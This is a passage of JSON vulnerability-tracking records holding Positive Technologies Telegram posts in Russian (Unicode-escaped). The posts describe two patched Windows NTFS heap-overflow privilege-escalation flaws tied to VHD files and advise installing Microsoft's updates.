\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u0443\u0442\u044c \u043a \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e: \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n2\ufe0f\u20e3 \u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NTFS\nPT-2026-2727, CVE-2026-20922 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u043a\u043e\u0434\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435. \u041e\u0431\u0440\u0430\u0437\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0441\u0430\u043c\u043e\u043b\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0431\u0430\u0433\u0430\u0436\u0430, \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0432\u0435\u0440\u044c \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0432 \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\ud83d\udd04 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\u0421\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u043e\u0431\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0434\u0438\u0441\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c VHD-\u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n#Positive\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b\n@Positive_Technologies", "creation_timestamp": "2026-07-27T00:01:23.748218Z"}, {"uuid": "9f67b232-7704-42f0-9db4-d1d80db6f8e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://t.me/Positive_Technologies/3988", "content": "\u2757\ufe0f\u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Windows: \u043d\u0430\u0448 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u041e\u0421\n\n\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PT ESC \u0421\u0435\u0440\u0433\u0435\u0439 \u0422\u0430\u0440\u0430\u0441\u043e\u0432 (immortalp0ny) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 30 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0438 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u043c\u0438\u0440\u0435 \u2014 Windows 11 \u0438 Windows Server.\n\n\u0414\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u2014 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c. Microsoft \u0431\u044b\u043b \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u2014 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \ud83d\udc47\n\n1\ufe0f\u20e3 \u0414\u0432\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ntfs.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 NTFS\nPT-2026-2690, CVE-2026-20840 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 heap-based buffer overflow: \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0433\u0430\u0436 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u043d\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0441\u0435\u043a \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u0430, \u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u043e\u0432 (VHD). \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u041e\u043d \u043c\u043e\u0433 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 VHD-\u0444\u0430\u0439\u043b, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0430\u0440\u0443\u0448\u0438\u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u0443\u0442\u044c \u043a \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e: \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n2\ufe0f\u20e3 \u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NTFS\nPT-2026-2727, CVE-2026-20922 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u043a\u043e\u0434\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435. \u041e\u0431\u0440\u0430\u0437\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0441\u0430\u043c\u043e\u043b\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0431\u0430\u0433\u0430\u0436\u0430, \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0432\u0435\u0440\u044c \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0432 \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\ud83d\udd04 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\u0421\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u043e\u0431\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0434\u0438\u0441\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c VHD-\u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n#Positive\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b\n@Positive_Technologies", "creation_timestamp": "2026-07-27T00:01:23.780653Z"}, {"uuid": "41b67e80-aef2-4f3e-94a1-efcca97e18ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/Positive_Technologies/3992", "content": "\ud83e\uddd0 \u0412\u0441\u0435 \u0435\u0449\u0435 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 Windows? \u0412\u043e\u0442 \u0432\u0430\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0432\u043e\u0434 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c: \u044d\u043a\u0441\u043f\u0435\u0440\u0442 PT SWARM \u0432\u044b\u044f\u0432\u0438\u043b \u0438 \u043f\u043e\u043c\u043e\u0433 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 